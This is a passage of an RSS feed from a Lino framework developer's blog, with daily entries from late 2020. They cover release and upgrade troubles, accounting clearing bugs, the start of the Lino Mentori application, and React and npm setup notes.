&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go xl
$ git status
On branch master
Your branch is up to date with &amp;#39;origin/master&amp;#39;.
nothing to commit, working tree clean
$ inv sdist release
...
ABORT: lino-xl 20.10.0 has already been released.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Aris had a few questions about the source code of &lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt;. This made me
understand that the &lt;a class="reference external" href="https://dev.lino-framework.org/contrib/legal.html#xfile-README.rst" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;README.rst&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of a Lino application (i.e. also in
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/jargon.html#algus" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Algus&lt;/span&gt;&lt;/a&gt;) should explain in a few sentences where to find the entry point.
Because at the moment it is quite intimidating, even for an experienced Django
site admin, to try to understand the code repository of a Lino application.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1017.html</guid><pubDate>Sat, 17 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Friday, October 16, 2020</title><link>https://luc.lino-framework.org/blog/2020/1016.html</link><description>&lt;section id="friday-october-16-2020"&gt;
&lt;h1&gt;Friday, October 16, 2020&lt;a class="headerlink" href="#friday-october-16-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I tried a system upgrade, but it failed:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Could&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;calculate&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;upgrade&lt;/span&gt;

&lt;span class="n"&gt;An&lt;/span&gt; &lt;span class="n"&gt;unresolvable&lt;/span&gt; &lt;span class="n"&gt;problem&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;calculating&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;upgrade&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;likely&lt;/span&gt; &lt;span class="n"&gt;caused&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Unofficial&lt;/span&gt; &lt;span class="n"&gt;software&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;provided&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Ubuntu&lt;/span&gt;
&lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;tool&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ppa-purge&amp;#39;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;the&lt;/span&gt; &lt;span class="n"&gt;ppa&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;purge&lt;/span&gt;
&lt;span class="n"&gt;package&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;remove&lt;/span&gt; &lt;span class="n"&gt;software&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;a&lt;/span&gt; &lt;span class="n"&gt;Launchpad&lt;/span&gt; &lt;span class="n"&gt;PPA&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;upgrade&lt;/span&gt; &lt;span class="n"&gt;again&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;none&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;applies&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;then&lt;/span&gt; &lt;span class="n"&gt;please&lt;/span&gt; &lt;span class="n"&gt;report&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;bug&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;ubuntu-bug ubuntu-release-upgrader-core&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;terminal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;
&lt;span class="n"&gt;investigate&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;yourself&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/var/log/dist-upgrade&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;contain&lt;/span&gt;
&lt;span class="n"&gt;details&lt;/span&gt; &lt;span class="n"&gt;about&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;upgrade&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Specifically&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;look&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;main.log&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;apt.log&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;Restoring&lt;/span&gt; &lt;span class="n"&gt;original&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Indeed I have some additional ppa files in my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/apt/sources.list.d&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ grep -e &amp;#39;^deb .*http.*&amp;#39; *.list
eid.list:deb http://files.eid.belgium.be/debian bionic main
eid.list:deb http://files2.eid.belgium.be/debian bionic main
gezakovacs-ubuntu-ppa-bionic.list:deb http://ppa.launchpad.net/gezakovacs/ppa/ubuntu bionic main
graphics-tuxedo.list:deb http://graphics.tuxedocomputers.com/ubuntu bionic main
libreoffice-ubuntu-ppa-bionic.list:deb http://ppa.launchpad.net/libreoffice/ppa/ubuntu bionic main
oibaf-tuxedo.list:deb http://oibaf.tuxedocomputers.com/ubuntu bionic main
ria-repository.list:deb https://installer.id.ee/media/ubuntu/ bionic main
riot-im.list:deb [signed-by=/usr/share/keyrings/riot-im-archive-keyring.gpg] https://packages.riot.im/debian/ bionic main
skype-stable.list:deb [arch=amd64] https://repo.skype.com/deb stable main
teamviewer.list:deb http://linux.teamviewer.com/deb stable main
tuxedo-computers.list:deb http://deb.tuxedocomputers.com/ubuntu bionic main
vscode.list:deb [arch=amd64 signed-by=/usr/share/keyrings/packages.microsoft.gpg] https://packages.microsoft.com/repos/vscode stable main
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1016.html</guid><pubDate>Fri, 16 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, October 15, 2020</title><link>https://luc.lino-framework.org/blog/2020/1015.html</link><description>&lt;section id="thursday-october-15-2020"&gt;
&lt;h1&gt;Thursday, October 15, 2020&lt;a class="headerlink" href="#thursday-october-15-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="debit-and-credit"&gt;
&lt;h2&gt;Debit and credit&lt;a class="headerlink" href="#debit-and-credit" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tickets &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1985"&gt;#1985&lt;/a&gt; is not yet fully done. Debtors and Creditors in welfare
now have 0 and 15 rows instead of 5 and 10 rows. Maybe we need to adapt these
two lists: maybe when using cascaded clearing we must say more precisely what a
“debitor” and “creditor” means. We must somehow be able to say that we want only
certain type of credit.&lt;/p&gt;
&lt;p&gt;An AAW does the following:
- credits 4450 (Disbursement orders to execute)
- debits 832/330/01 (Allgemeine Beihilfen)&lt;/p&gt;
&lt;p&gt;Or maybe the problem is simply that both movements are booked to the partner.
The debit movement into the costs account (832/330/01) should not have
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;partner&lt;/span&gt;&lt;/code&gt; set because the cost account does not require clearing.&lt;/p&gt;
&lt;p&gt;None of the monthly AAW movements is cleared by a ZKBC. Maybe because the
booking dates are wrong? I fiddled for more than an hour but could not find a
definitive explanation. To be continued when a customer shows interest.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="mentori-test-suite-and-docs"&gt;
&lt;h2&gt;Mentori test suite and docs&lt;a class="headerlink" href="#mentori-test-suite-and-docs" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I noticed that &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; were failing in &lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And a great news: the docs for &lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt; are now online:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/mentori/"&gt;https://lino-framework.gitlab.io/mentori/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Note that the content of these docs is not yet very impressive. The great thing
is that for the first time in history, Lino has a doctree hosted directly using
&lt;a class="reference external" href="https://docs.gitlab.com/ee/user/project/pages/"&gt;GitLab pages&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1015.html</guid><pubDate>Thu, 15 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, October 13, 2020</title><link>https://luc.lino-framework.org/blog/2020/1013.html</link><description>&lt;section id="tuesday-october-13-2020"&gt;
&lt;h1&gt;Tuesday, October 13, 2020&lt;a class="headerlink" href="#tuesday-october-13-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Uff, I finished &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3817"&gt;#3817&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It seems that en passant this also fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1985"&gt;#1985&lt;/a&gt;. The use case is as
follows. In &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; we have cascaded clearing. Cascaded clearing is used
when we have more than one steps to be cleared. In welfare every purchase
invoice goes through the following payment steps:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;4100&lt;/span&gt; &lt;span class="n"&gt;Suppliers&lt;/span&gt;
&lt;span class="mi"&gt;4450&lt;/span&gt; &lt;span class="n"&gt;Disbursing&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
&lt;span class="mi"&gt;4300&lt;/span&gt; &lt;span class="n"&gt;Pending&lt;/span&gt; &lt;span class="n"&gt;payment&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I can manually create a REG, then suggest an AAW. The supplier is
correctly cleared. But when I then let Lino suggest a ZKBC (based on the AAW),
Lino books the counter booking again to 4100 (suppliers) instead of 4450
(disbursing orders to execute), so that 4100 has now three movements and is
again uncleared.&lt;/p&gt;
&lt;p&gt;This was because &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;FinancialVoucher.due2itemdict()&lt;/span&gt;&lt;/code&gt; was doing this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;due2itemdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;due&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;due&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;due&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;due&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trade_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# 20201014&lt;/span&gt;
        &lt;span class="n"&gt;ma&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;due&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trade_type&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_main_account&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ma&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ma&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That is, it &lt;em&gt;always&lt;/em&gt; puts the main account of the trade type (when a trade type
is known).  The trade_type of a DueMovement is the first suggestable trade type
found, i.e. the one of the first invoice.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1013.html</guid><pubDate>Tue, 13 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, October 10, 2020</title><link>https://luc.lino-framework.org/blog/2020/1010.html</link><description>&lt;section id="saturday-october-10-2020"&gt;
&lt;h1&gt;Saturday, October 10, 2020&lt;a class="headerlink" href="#saturday-october-10-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;lino_xl/lib/finan/mixins.py&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;ledger.get_due_movements()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;finan.FinancialVoucher.add_item_from_due()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;finan.FinancialVoucher.get_finan_movements()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1010.html</guid><pubDate>Sat, 10 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, October 8, 2020</title><link>https://luc.lino-framework.org/blog/2020/1008.html</link><description>&lt;section id="thursday-october-8-2020"&gt;
&lt;h1&gt;Thursday, October 8, 2020&lt;a class="headerlink" href="#thursday-october-8-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;A new Lino application is born: &lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/mentori"&gt;https://gitlab.com/lino-framework/mentori&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This project started because
Aris from Thessaloniki discovered Lino and&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1008.html</guid><pubDate>Thu, 08 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, October 3, 2020</title><link>https://luc.lino-framework.org/blog/2020/1003.html</link><description>&lt;section id="saturday-october-3-2020"&gt;
&lt;h1&gt;Saturday, October 3, 2020&lt;a class="headerlink" href="#saturday-october-3-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I installed
&lt;a class="reference external" href="https://reactjs.org/blog/2015/09/02/new-react-developer-tools.html#installation"&gt;react devtools for Firefox&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://reactjs.org/tutorial/tutorial.html"&gt;https://reactjs.org/tutorial/tutorial.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Aris and I had our first meeting on Jitsi.&lt;/p&gt;
&lt;p&gt;With Aris I created a new react app as
&lt;a class="reference external" href="https://reactjs.org/docs/create-a-new-react-app.html"&gt;described here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To install &lt;cite&gt;primereact&lt;/cite&gt;, in addition to saying &lt;cite&gt;npm install primereact&lt;/cite&gt;
I had to say &lt;cite&gt;npm install classnames&lt;/cite&gt;
and &lt;cite&gt;npm install react-transition-group&lt;/cite&gt;,
as &lt;a class="reference external" href="https://primefaces.org/primereact/showcase/#/setup"&gt;described here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We tried to get the &lt;a class="reference external" href="https://www.primefaces.org/primereact/showcase/#/dropdown"&gt;Dropdown&lt;/a&gt; components to
work again.&lt;/p&gt;
&lt;p&gt;I learned about
&lt;a class="reference external" href="https://reactjs.org/docs/react-component.html#shouldcomponentupdate"&gt;React.Component.shouldComponentUpdate()&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I started the lino_fuori package (lated renamed to &lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Two main types of “activities” are “Internships” and “Seminars”.
These are defined in &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ActivityLayouts&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin no longer requires the
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_l.lib.cal&lt;/span&gt;&lt;/code&gt; plugin. Fuori is the first application that has courses
and enrolments, but doesn’t care about calendar entries.  Basic step was to
remove the following line in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;needs_plugins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_xl.lib.cal&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And then several &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;if&lt;/span&gt; &lt;span class="pre"&gt;cal&lt;/span&gt; &lt;span class="pre"&gt;is&lt;/span&gt; &lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;None&lt;/span&gt;&lt;/code&gt; (i.e. the courses plugin now takes care
of using cal only when it is installed).&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command in atelier was still using
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.doctest_utf8&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# DOCTEST_CMD = &amp;quot;atelier.doctest_utf8&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;DOCTEST_CMD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;doctest&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Some adaptations to “recommended” practice in the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/jargon.html#algus" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Algus&lt;/span&gt;&lt;/a&gt; project:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;demo projects of an application foo are named foo1, foo2 etc&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The application’s “standard settings” are now in the file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_foo/lib/foo/settings.py&lt;/span&gt;&lt;/code&gt; file was&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1003.html</guid><pubDate>Sat, 03 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, October 1, 2020</title><link>https://luc.lino-framework.org/blog/2020/1001.html</link><description>&lt;section id="thursday-october-1-2020"&gt;
&lt;h1&gt;Thursday, October 1, 2020&lt;a class="headerlink" href="#thursday-october-1-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I finished &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3810"&gt;#3810&lt;/a&gt;:  In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.sheets.html#module-lino_xl.lib.sheets" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sheets&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, the reports now have
columns “Balance before” and “Balance after” instead of “Debit before”, “Credit
before”, “Debit after” and “Credit after”. Fixed some bugs that caused the
report to not show all totals.&lt;/p&gt;
&lt;p&gt;This was fun, complex and difficult to explain because very specific accounting
stuff.  I plan to write more documentation when :ticket:``&lt;/p&gt;
&lt;p&gt;I added a new &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;django-admin command&lt;/span&gt;&lt;/a&gt; &lt;a class="reference external" href="https://dev.lino-framework.org/specs/jinja.html#command-pm-showsettings" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;showsettings&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and started a new
documentation page for &lt;a class="reference external" href="https://dev.lino-framework.org/specs/jinja.html#specs-jinja" title="(in Lino Developer Guide)"&gt;&lt;span&gt;jinja : Use the Jinja template engine&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1001.html</guid><pubDate>Thu, 01 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 29, 2020</title><link>https://luc.lino-framework.org/blog/2020/0929.html</link><description>&lt;section id="tuesday-september-29-2020"&gt;
&lt;h1&gt;Tuesday, September 29, 2020&lt;a class="headerlink" href="#tuesday-september-29-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;How to debug some react code.&lt;/p&gt;
&lt;p&gt;Build a non-compressed main.js file usable by the debugger.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;go react
npm run debug&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;update npm:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;npm&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt; &lt;span class="n"&gt;npm&lt;/span&gt;
&lt;span class="nb"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="c1"&gt;# https://stackoverflow.com/questions/23393707/how-to-update-npm&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
